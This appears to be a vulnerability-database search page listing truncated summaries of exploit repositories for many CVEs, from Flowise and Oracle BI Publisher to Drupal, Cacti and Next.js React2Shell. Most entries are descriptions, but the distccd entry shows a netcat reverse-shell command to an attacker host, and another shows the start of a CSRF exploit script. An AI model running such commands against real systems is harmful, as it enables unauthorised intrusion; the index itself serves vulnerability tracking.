Lucene search
+L

270330 matches found

Kitploit
Kitploit
added 2026/09/06 10:48 a.m.10 views

Flowise-RCE-CVE-2025-59528

CVE-2025-59528 — Flowise AI 认证远程代码执行 RCE 概述 CVE ID: CVE-2025-59528 受影响软件: Flowise AI 受影响版本: = 3.0.4 已修复版本: 3.0.5 及更高版本 严重程度: 严重 作者: r3nsi15 日期: 2025 描述 Flowise AI 版本 3.0.4 及更早版本允许经过身份验证的用户通过向 /api/v1/node-load-method/customMCP 端点发送精心构造的 JavaScript 载荷,在主机服务器上实现远程代码执行 RCE 。 customMCP 节点的 load...

10CVSS7.9AI score0.8737EPSS
SaveExploits23
Kitploit
Kitploit
added 2026/09/06 10:47 a.m.6 views

CVE-2025-61882-Oracle-BI-Publisher-RCE

受影响软件:Oracle BI Publisher 版本 12.2.1.4.0、12.2.1.3.0。 漏洞类型:通过BI Publisher集成组件中的不安全反序列化实现远程代码执行。 描述:BI Publisher集成组件对不受信任的数据进行反序列化时未进行验证,从而允许未经身份验证的攻击者在底层服务器上执行任意代码。...

9.8CVSS7.9AI score0.99732EPSS
SaveExploits16
Kitploit
Kitploit
added 2026/09/06 10:45 a.m.6 views

CVE-2025-8110-Gogs-Remote-Code-Execution

受影响软件:Gogs(自托管Git服务)0.13.0版本之前。 漏洞类型:Git钩子机制中的命令注入。 描述:拥有仓库推送权限的攻击者可以构造恶意的Git钩子,将命令注入到post-receive钩子脚本中,从而导致在Gogs服务器上远程执行代码。...

8.8CVSS7.7AI score0.82471EPSS
SaveExploits21
Kitploit
Kitploit
added 2026/09/06 10:44 a.m.4 views

CVE-2025-55182-React2Shell-Exploit

Next.js React2Shell CVE-2025-55182 Expl0it Una herramienta de prueba de concepto para demostrar la vulnerabilidad crítica React2Shell CVE-2025-55182 / CVE-2025-66478 únicamente en entornos de pruebas locales y autorizados. ⚠️ ADVERTENCIA CRÍTICA: EXPLOTACIÓN ACTIVA USO LEGAL ÚNICAMENTE : Utilícela...

10CVSS7.5AI score0.99802EPSS
SaveExploits389
Kitploit
Kitploit
added 2026/09/06 10:43 a.m.5 views

CVE-2025-55182

CVE-2025-55182 - React2Shell React Server Components / Next.js Ejecución Remota de Código Pre-Autenticación...

10CVSS7.5AI score0.99802EPSS
SaveExploits389
Kitploit
Kitploit
added 2026/09/06 10:38 a.m.4 views

CVE-2026-57517

Control Web Panel ≤ 0.9.8.1224 — Inyección SQL Ciega a Ejecución Remota de Código Puerto 2083 → userRes POST → INTO DUMPFILE → Puerto 2031 Webshell → cwpsvc 🔴 Resumen de la Vulnerabilidad CVE-2026-57517 es una inyección SQL ciega crítica previa a la autenticación en versiones ≤ 0.9.8.1224. El...

9.8CVSS5.8AI score0.00963EPSS
SaveExploits2
Kitploit
Kitploit
added 2026/09/06 10:24 a.m.5 views

CVE-2018-7600

POC de CVE-2018-7600 Drupal RCE CVE-2018-7600 ¡No olvides poner tu dirección en el script ! Descripción: Existe una vulnerabilidad de ejecución remota de código en múltiples subsistemas de Drupal 7.x y 8.x. Esto potencialmente permite a los atacantes explotar múltiples vectores de ataque en un...

9.8CVSS7.8AI score0.99991EPSS
SaveExploits49
Kitploit
Kitploit
added 2026/09/06 10:24 a.m.5 views

CVE-2026-66492

Path Traversal en el destino de carga de archivos PhocaCommander ≤ 6.1.3 — Administrador autenticado escribe archivos fuera de la raíz web RESUMEN El controlador de carga de archivos en PhocaCommander construye la ruta de destino a partir de un parámetro folder codificado en base64 y controlado p...

6.1CVSS5.9AI score0.00449EPSS
SaveExploits0
Kitploit
Kitploit
added 2026/09/06 10:22 a.m.5 views

CVE-2018-15133-PoC

CVE-2018-15133-PoC 此 Python 脚本利用 CVE-2018-15133 漏洞,针对存在不安全反序列化漏洞的 Laravel 应用实现远程代码执行(RCE)。 该漏洞利用 Laravel(5.5.40 及更早版本,以及 5.6.0 至 5.6.29)中已加密的会话会自动反序列化且缺乏适当验证的弱点。在获取 Laravel 的 APPKEY 后,攻击者可加密恶意负载,这些负载将被反序列化并在服务器上执行。 Laravel 会话系统工作原理 Laravel 使用对称加密机制处理会话,包含三个组件: IV(初始化向量):每次会话随机生成的初始化向量 Value:使用...

8.1CVSS7.8AI score0.76814EPSS
SaveExploits11References1
Kitploit
Kitploit
added 2026/09/06 10:13 a.m.4 views

CVE-2025-55182-Scanner

CVE‑2025‑55182 – Next.js RSC 反序列化 RCE 扫描器 此工具用于检测目标是否受 CVE‑2025‑55182 影响,该漏洞是一个由 Next.js 内部不安全处理 RSC(React 服务端组件)模型载荷导致的远程代码执行漏洞。 该漏洞利用链为:原型污染 → 反序列化滥用 → 服务端 JavaScript 执行 。 免责声明: 仅在您合法拥有或已获得明确授权的系统上使用。未经授权的测试属于犯罪行为。 🔥 漏洞工作原理 Next.js 内部通过 multipart/form-data 处理特殊的“模型”对象。 如果攻击者注入恶意结构(例如伪造的...

10CVSS7.5AI score0.99802EPSS
SaveExploits389
Kitploit
Kitploit
added 2026/09/06 10:13 a.m.6 views

distccd_rce_CVE-2004-2687

此脚本的目标不是使用 Metasploit,而是手动执行。 用法: root@kitploit: nc -lvnp 4466 运行漏洞利用: root@kitploit: python3 ./exploit.py -t targetip -p targetport -c "nc attackerip attackerport -e /bin/sh"...

9.3CVSS8AI score0.88195EPSS
SaveExploits9
Kitploit
Kitploit
added 2026/09/06 10:02 a.m.6 views

React2Shell-CVE-2025-55182-An-lise-T-cnica

React2Shell CVE-2025-55182 📖 概要 このリポジトリは、TryHackMeのルームで学習した セキュリティの概念 を文書化しています。これは CVE-2025-55182 に関するもので、影響を受ける重要な脆弱性です: React Server Components RSC Next.js および RSC ベースのフレームワーク パッケージ: react-server-dom-webpack react-server-dom-parcel react-server-dom-turbopack この脆弱性により以下が可能になります:...

10CVSS7.5AI score0.99802EPSS
SaveExploits389
Kitploit
Kitploit
added 2026/09/06 9:28 a.m.3 views

CVE-2022-46169

CVE-2022-46169 – 说明与项目概述 Cacti 未授权远程代码执行 这是什么项目? 本项目是一项网络安全任务,演示了 CVE‑2022‑46169 :开源网络监控平台 Cacti (版本 ≤ 1.2.22)中的一个严重漏洞。该漏洞允许未认证的攻击者在服务器上执行任意操作系统命令——无需任何登录。 本项目的目标是理解该漏洞,在受控的实验室环境中复现它,并展示其影响。 什么是 CVE‑2022‑46169? CVE‑2022‑46169 是 Cacti 中两个缺陷的组合: 1. 授权绕过 文件 remoteagent.php 通常只允许 Cacti...

9.8CVSS8.3AI score0.99826EPSS
SaveExploits48References2
Kitploit
Kitploit
added 2026/09/06 9:20 a.m.3 views

CVE-2026-Pending-Flask-Uploads-Path-Traversal-PoC

CVE-2026-XXXXX Pending: Flask-Uploads中的路径遍历 漏洞信息 产品 :Flask-Uploads 版本 :0.2.1(以及可能更早的版本) 漏洞类型 :路径遍历(目录遍历) CWE-ID : CWE-22 严重性 :高 CVSS 7.5 影响 :任意文件写入,远程代码执行 RCE 描述 在 Flask-Uploads 0.2.1 版本中存在一个严重的路径遍历漏洞。该库在将上传文件保存到文件系统之前,未能正确清理文件名。 具体来说,flaskuploads.py 中的 save 方法直接使用 os.path.join...

5.9AI score
SaveExploits0
Kitploit
Kitploit
added 2026/09/06 9:19 a.m.5 views

CVE-2026-Pending-Claude-Desktop-RCE

Este repositorio no tiene un README...

5.8AI score
SaveExploits0
Kitploit
Kitploit
added 2026/09/06 9:16 a.m.3 views

CVE-2026-3844-Lab

CVE-2026-3844 — Breeze Cache Unauthenticated Arbitrary File Upload to RCE Lab Local-only Docker lab for reproducing and comparing CVE-2026-3844 behavior in the WordPress Breeze Cache plugin. This repository demonstrates the vulnerable behavior in Breeze Cache 2.4.4 and compares it with the patche...

9.8CVSS8.3AI score0.27701EPSS
SaveExploits9
Kitploit
Kitploit
added 2026/09/06 9:13 a.m.6 views

CVE-2025-12189

Bread & Butter: 门控内容 + 捕获线索 + 收集第一方数据 + 通过 AI 代理培育 CSRF Attack function exploit const form = document.createElement'form'; form.action = 'http://TARGETSITE.COM/wp-admin/admin-ajax.php'; form.method = 'POST'; form.enctype = 'multipart/form-data'; form.target = 'blank'; form.style.display = 'none';...

8.8CVSS6AI score0.00326EPSS
SaveExploits2References2
Kitploit
Kitploit
added 2026/09/06 8:54 a.m.5 views

CVE-2025-27636-Practical-Lab

🛡️ CVE-2025-27636 — Apache Camel 实战利用实验室 🔍 概述 CVE-2025-27636 是 Apache Camel 中一个严重的远程代码执行 RCE 漏洞,具体位于 camel-exec 组件。它源于一个微妙但危险的问题: DefaultHeaderFilterStrategy 对标头名称执行区分大小写的检查,可以使用替代大小写来绕过。 这意味着内部 Camel 标头(例如 CamelExecCommandExecutable)如果大小写被篡改(例如 cAmeLexecCommandExecutable),本应被阻止的它们也可能通过。 当此标头到达...

5.6CVSS7.1AI score0.80855EPSS
SaveExploits3
Kitploit
Kitploit
added 2026/09/06 8:45 a.m.4 views

0-click-RCE-Exploit-for-CVE-2024-51793

CVE-2024-51793 / 0-Click RCE 漏洞利用 作者: Joshua Provoste https://x.com/JoshuaProvoste/status/1858668072279626138 本仓库包含一个针对 CVE-2024-51793 的概念验证利用程序,该漏洞是一个存在漏洞的 WordPress 插件中的未经验证的任意文件上传漏洞,可导致远程命令执行(RCE)。 脚本功能 该脚本滥用一个存在漏洞的 admin-ajax.php 操作,在无需身份验证的情况下上传 PHP 载荷。上传后,它会检测目标操作系统,并提供一个交互式远程 Shell 用于执行命令。...

10CVSS8.2AI score0.0183EPSS
SaveExploits4
Kitploit
Kitploit
added 2026/09/06 8:44 a.m.6 views

CVE-2024-24401

漏洞报告 CVE 发现 (设计用于在 Kali Linux 上运行) 说明 Nagios 已在所有近期下载中修补了版本 2024R1.0.1。要判断目标是否存在漏洞,请确保他们使用的是旧版 2024R1.0.1。 更新后的脚本会检查目标系统是否存在漏洞 漏洞详情: 端点:/nagiosxi//config/monitoringwizard.php Nagios XI 版本 2024R1.0.1 漏洞类型:已验证的 SQL 注入 利用结果:创建管理员账户并实现完全远程代码执行 概念验证: 附带了演示该漏洞的 Python 脚本 建议: 为降低 SQL...

9.8CVSS7AI score0.45884EPSS
SaveExploits5
Rows per page
Query Builder